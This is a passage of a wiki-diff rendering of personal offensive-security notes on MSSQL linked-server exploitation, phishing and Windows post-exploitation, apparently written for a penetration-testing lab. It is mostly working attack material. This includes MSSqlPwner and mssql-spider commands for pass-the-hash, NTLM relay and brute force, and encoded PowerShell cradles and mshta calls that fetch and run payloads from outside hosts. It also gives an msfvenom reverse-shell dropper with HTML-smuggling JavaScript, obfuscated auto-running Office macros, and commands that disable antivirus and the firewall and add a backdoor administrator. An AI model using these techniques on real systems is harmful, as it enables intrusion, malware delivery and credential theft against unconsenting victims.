static void ExecuteReader(SqlConnection con, string query, Action action) | static void ExecuteReader(SqlConnection con, string query, Action action) | ||
{ | { | ||
| Line 6,079: | Line 4,546: | ||
} | } | ||
} | } | ||
static void ExecuteNonQuery(SqlConnection con, string query) | static void ExecuteNonQuery(SqlConnection con, string query) | ||
{ | { | ||
| Line 6,094: | Line 4,560: | ||
} | } | ||
} | } | ||
static bool CheckIfOptionEnabled(SqlConnection con, string server, string option) | static bool CheckIfOptionEnabled(SqlConnection con, string server, string option) | ||
{ | { | ||
| Line 6,107: | Line 4,572: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Automating linked SQL enum and attacks === | === Automating linked SQL enum and attacks === | ||
==== PowerUpSQL.ps1 ==== | ==== PowerUpSQL.ps1 ==== | ||
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM] | [https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM] | ||
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server] | [https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server] | ||
==== Evil SQL Client ==== | ==== Evil SQL Client ==== | ||
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.] | [https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# First run the .exe on target machine | # First run the .exe on target machine | ||
# Find domainspns | # Find domainspns | ||
SQLCLIENT> discover domainspn | SQLCLIENT> discover domainspn | ||
# Show discovered instances. | # Show discovered instances. | ||
SQLCLIENT> show discovered | SQLCLIENT> show discovered | ||
# List links information for accessoble target SQL Server instances. | # List links information for accessoble target SQL Server instances. | ||
list links | list links | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== MSSQL Pwner (Best tool) ==== | ==== MSSQL Pwner (Best tool) ==== | ||
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner] | [https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01. | # We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01. | ||
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive | python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive | ||
... | ... | ||
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa@master/dbo) | [*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa@master/dbo) | ||
... | ... | ||
# Pass the hash MSSQLPwner | # Pass the hash MSSQLPwner | ||
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive | MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive | ||
# Set link server to DC01 | # Set link server to DC01 | ||
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)> set-link-server DC01 | MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)> set-link-server DC01 | ||
[*] Chosen linked server: DC01 | [*] Chosen linked server: DC01 | ||
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights. | # Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights. | ||
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)> exec whoami | MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)> exec whoami | ||
| Line 6,174: | Line 4,620: | ||
[*] Result: (Key: output) corp1\sqlsvc | [*] Result: (Key: output) corp1\sqlsvc | ||
[*] Result: (Key: output) NULL | [*] Result: (Key: output) NULL | ||
# Execute commands on appsrv01 through DC01 | # Execute commands on appsrv01 through DC01 | ||
# First get the chain list | # First get the chain list | ||
| Line 6,185: | Line 4,630: | ||
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa@master/dbo) (sa dbo@master) | [*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa@master/dbo) (sa dbo@master) | ||
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master) | [*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master) | ||
# Set the chain by using the chain ID and execute a command | # Set the chain by using the chain ID and execute a command | ||
| Line 6,197: | Line 4,641: | ||
[*] Result: (Key: output) corp1\sqlsvc | [*] Result: (Key: output) corp1\sqlsvc | ||
[*] Result: (Key: output) NULL | [*] Result: (Key: output) NULL | ||
# To get a shell on appsrv01 through DC01 | # To get a shell on appsrv01 through DC01 | ||
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo)> exec "powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA" | MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo)> exec "powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA" | ||
# The encoded powershell command | # The encoded powershell command | ||
$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX" | $text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX" | ||
| Line 6,206: | Line 4,648: | ||
$EncodedText = [Convert]::ToBase64String($bytes) | $EncodedText = [Convert]::ToBase64String($bytes) | ||
$EncodedText | $EncodedText | ||
# run.txt is a powershell shellcode runner. | # run.txt is a powershell shellcode runner. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-10-image-9.png|thumb]] | [[File:2023-10-image-9.png|thumb]] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
-------------------------- | -------------------------- | ||
# From GitHub | # From GitHub | ||
# Interactive mode | # Interactive mode | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive | ||
# Interactive mode with 2 depth level of impersonations | # Interactive mode with 2 depth level of impersonations | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive | ||
# Executing custom assembly on the current server with windows authentication and executing hostname command | # Executing custom assembly on the current server with windows authentication and executing hostname command | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname | ||
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server | # Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname | ||
# Executing the hostname command using stored procedures on the linked SRV01 server | # Executing the hostname command using stored procedures on the linked SRV01 server | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname | ||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method | # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate | ||
# Issuing NTLM relay attack on the SRV01 server | # Issuing NTLM relay attack on the SRV01 server | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250 | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250 | ||
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 | # Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250 | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250 | ||
# Issuing NTLM relay attack on the local server with custom command | # Issuing NTLM relay attack on the local server with custom command | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 | ||
# Executing direct query | # Executing direct query | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER" | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER" | ||
# Retrieving password from the linked server DC01 | # Retrieving password from the linked server DC01 | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password | ||
# Execute code using custom assembly on the linked server DC01 | # Execute code using custom assembly on the linked server DC01 | ||
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll | python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll | ||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt | # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt | ||
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt | python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt | ||
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt | # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt | ||
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt | python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt | ||
# Bruteforce using tickets against the hosts listed on the hosts.txt | # Bruteforce using tickets against the hosts listed on the hosts.txt | ||
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt | python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt | ||
# Bruteforce using passwords against the hosts listed on the hosts.txt | # Bruteforce using passwords against the hosts listed on the hosts.txt | ||
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt | python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt | ||
# Bruteforce using hashes against the hosts listed on the hosts.txt | # Bruteforce using hashes against the hosts listed on the hosts.txt | ||
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt | python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ==== | ==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ==== | ||
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)] | [https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)] | ||
This tool is kinda similar to mssqlpwner. | This tool is kinda similar to mssqlpwner. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Authentication | # Authentication | ||
# As local database user. | # As local database user. | ||
mssql-spider -u jdoe -p 'passw0rd' -t db01.corp.local | mssql-spider -u jdoe -p 'passw0rd' -t db01.corp.local | ||
# As local windows user. | # As local windows user. | ||
mssql-spider -w -u administrator -p 'passw0rd' -t db01.corp.local | mssql-spider -w -u administrator -p 'passw0rd' -t db01.corp.local | ||
# As domain user via NTLM and a password. | # As domain user via NTLM and a password. | ||
mssql-spider -d corp.local -u jdoe -p 'passw0rd' -t db01.corp.local | mssql-spider -d corp.local -u jdoe -p 'passw0rd' -t db01.corp.local | ||
# As domain user via NTLM Pass the Hash. | # As domain user via NTLM Pass the Hash. | ||
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local | mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local | ||
# As domain user via Kerberos Overpass the Key. | # As domain user via Kerberos Overpass the Key. | ||
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local | mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local | ||
# As domain user via Kerberos Pass the Key. | # As domain user via Kerberos Pass the Key. | ||
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local | mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Phishing (Client side code exec) == | == Phishing (Client side code exec) == | ||
REMEMBER - Check if MS word is running 64-bit or 32-bit | REMEMBER - Check if MS word is running 64-bit or 32-bit | ||
=== HTML Smuggeling === | === HTML Smuggeling === | ||
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the | HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the | ||
browser to automatically download a file when a user clicks the assigned hyperlink. | browser to automatically download a file when a user clicks the assigned hyperlink. | ||
</pre> | </pre> | ||
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below. | In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Generate a staged payload using msfvenom. | # Generate a staged payload using msfvenom. | ||
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe | sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe | ||
# Saved it as base64 as to not lose any data. | # Saved it as base64 as to not lose any data. | ||
base64 msfstaged.exe | base64 msfstaged.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="markup"> | <syntaxhighlight lang="markup"> | ||
function base64ToArrayBuffer(base64) { | function base64ToArrayBuffer(base64) { | ||
| Line 6,348: | Line 4,742: | ||
var bytes = new Uint8Array( len ); | var bytes = new Uint8Array( len ); | ||
for (var i = 0; i | for (var i = 0; i | ||
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..." | var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..." | ||
var data = base64ToArrayBuffer(file); | var data = base64ToArrayBuffer(file); | ||
var blob = new Blob([data], {type: 'octet/stream'}); | var blob = new Blob([data], {type: 'octet/stream'}); | ||
var fileName = 'msfstaged.exe'; | var fileName = 'msfstaged.exe'; | ||
var a = document.createElement('a'); | var a = document.createElement('a'); | ||
| Line 6,364: | Line 4,755: | ||
a.click(); | a.click(); | ||
window.URL.revokeObjectURL(url); | window.URL.revokeObjectURL(url); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]] | [[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]] | ||
=== BobTheSmuggler === | === BobTheSmuggler === | ||
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: "Bob the Smuggler": A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)] | [https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: "Bob the Smuggler": A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)] | ||
'''"Bob the Smuggler"''' is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob. | '''"Bob the Smuggler"''' is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command: | # If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command: | ||
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html | python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html | ||
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command: | # To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command: | ||
python3 BobTheSmuggler.py -i -p -f -o -t png test.png | python3 BobTheSmuggler.py -i -p -f -o -t png test.png | ||
# Embed payload inside GIF File: | # Embed payload inside GIF File: | ||
python3 BobTheSmuggler.py -i -p -f -o -t gif test.gif | python3 BobTheSmuggler.py -i -p -f -o -t gif test.gif | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2024-01-image.png|thumb]] | [[File:2024-01-image.png|thumb]] | ||
[[File:2024-01-image-1.png|thumb]] | [[File:2024-01-image-1.png|thumb]] | ||
Zip Sharphound and use OneDrive template. | Zip Sharphound and use OneDrive template. | ||
=== Microsoft Office Macro Client-side Attack === | === Microsoft Office Macro Client-side Attack === | ||
REMEMBER - Check if 32-bit or 64-bit | REMEMBER - Check if 32-bit or 64-bit | ||
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word] | [https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word] | ||
==== Visual Basic for Applications [VBA] ==== | ==== Visual Basic for Applications [VBA] ==== | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
| Line 6,421: | Line 4,795: | ||
Dim myLong As Long # 64-bit integer | Dim myLong As Long # 64-bit integer | ||
Dim myPointer As LongPtr # Memory pointer | Dim myPointer As LongPtr # Memory pointer | ||
'Example - if and else statement | 'Example - if and else statement | ||
Sub MyMacro() | Sub MyMacro() | ||
| Line 6,432: | Line 4,805: | ||
End If | End If | ||
End Sub | End Sub | ||
'Example - Launch cmd.exe with a hidden window | 'Example - Launch cmd.exe with a hidden window | ||
| Line 6,446: | Line 4,818: | ||
Shell str, vbHide | Shell str, vbHide | ||
End Sub | End Sub | ||
'The picture below show the cmd.exe running as a child process of winword. | 'The picture below show the cmd.exe running as a child process of winword. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-02-image-1.png|thumb]] | [[File:2023-02-image-1.png|thumb]] | ||
== Persistence/ Post Explotation == | == Persistence/ Post Explotation == | ||
=== Linux === | === Linux === | ||
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM] | [https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM] | ||
=== Windows === | === Windows === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Disable Anti-virus | # Disable Anti-virus | ||
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true | Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true | ||
# Disable firewall | # Disable firewall | ||
NetSh Advfirewall set allprofiles state off | NetSh Advfirewall set allprofiles state off | ||
# Enable RDP | # Enable RDP | ||
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -name "fDenyTSConnections" -value 0 | Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -name "fDenyTSConnections" -value 0 | ||
# Disable restricted mode in order to PTH as authentication on RDP | # Disable restricted mode in order to PTH as authentication on RDP | ||
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0 | New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0 | ||
# Create a new user | # Create a new user | ||
net user username password /ADD | net user username password /ADD | ||
# This will add the new user to the RDP group and local administratos group | # This will add the new user to the RDP group and local administratos group | ||
net localgroup "Remote Desktop Users" username /add | net localgroup "Remote Desktop Users" username /add | ||
net localgroup "Administrators" username /add | net localgroup "Administrators" username /add | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== PowerShell in VBA == | == PowerShell in VBA == | ||
=== Download cradle === | === Download cradle === | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
| Line 6,504: | Line 4,860: | ||
End Sub | End Sub | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== WMI: Unlinking PowerShell from Office === | === WMI: Unlinking PowerShell from Office === | ||
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word. | Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word. | ||
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit! | Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit! | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
| Line 6,520: | Line 4,872: | ||
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid | GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid | ||
End Sub | End Sub | ||
Sub AutoOpen() | Sub AutoOpen() | ||
MyMacro | MyMacro | ||
End Sub | End Sub | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Obfuscated version of WMI === | === Obfuscated version of WMI === | ||
* First we'll convert the strings using ''ToCharArray. '' | * First we'll convert the strings using ''ToCharArray. '' | ||
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt). | * The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt). | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 6,558: | Line 4,905: | ||
$output | clip | $output | clip | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* The code below is the decryption routine. | * The code below is the decryption routine. | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
| Line 6,567: | Line 4,912: | ||
Pears = Chr(Beets - 17) | Pears = Chr(Beets - 17) | ||
End Function | End Function | ||
Function Strawberries(Grapes) | Function Strawberries(Grapes) | ||
Strawberries = Left(Grapes, 3) | Strawberries = Left(Grapes, 3) | ||
End Function | End Function | ||
Function Almonds(Jelly) | Function Almonds(Jelly) | ||
Almonds = Right(Jelly, Len(Jelly) - 3) | Almonds = Right(Jelly, Len(Jelly) - 3) | ||
End Function | End Function | ||
Function Nuts(Milk) | Function Nuts(Milk) | ||
Do | Do | ||
| Line 6,583: | Line 4,925: | ||
Nuts = Oatmilk | Nuts = Oatmilk | ||
End Function | End Function | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* So combined together with <code>Unlinking Powershell from Word</code> code above, we will get this | * So combined together with <code>Unlinking Powershell from Word</code> code above, we will get this | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
| Line 6,594: | Line 4,933: | ||
Pears = Chr(Beets - 17) | Pears = Chr(Beets - 17) | ||
End Function | End Function | ||
Function Strawberries(Grapes) | Function Strawberries(Grapes) | ||
Strawberries = Left(Grapes, 3) | Strawberries = Left(Grapes, 3) | ||
End Function | End Function | ||
Function Almonds(Jelly) | Function Almonds(Jelly) | ||
Almonds = Right(Jelly, Len(Jelly) - 3) | Almonds = Right(Jelly, Len(Jelly) - 3) | ||
End Function | End Function | ||
Function Nuts(Milk) | Function Nuts(Milk) | ||
Do | Do | ||
| Line 6,610: | Line 4,946: | ||
Nuts = Oatmilk | Nuts = Oatmilk | ||
End Function | End Function | ||
Function MyMacro() | Function MyMacro() | ||
Dim Apples As String | Dim Apples As String | ||
Dim Water As String | Dim Water As String | ||
'powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt')) | 'powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt')) | ||
Apples = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058" | Apples = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058" | ||
Water = Nuts(Apples) | Water = Nuts(Apples) | ||
' GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid | ' GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid | ||
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin | GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin | ||
End Function | End Function | ||
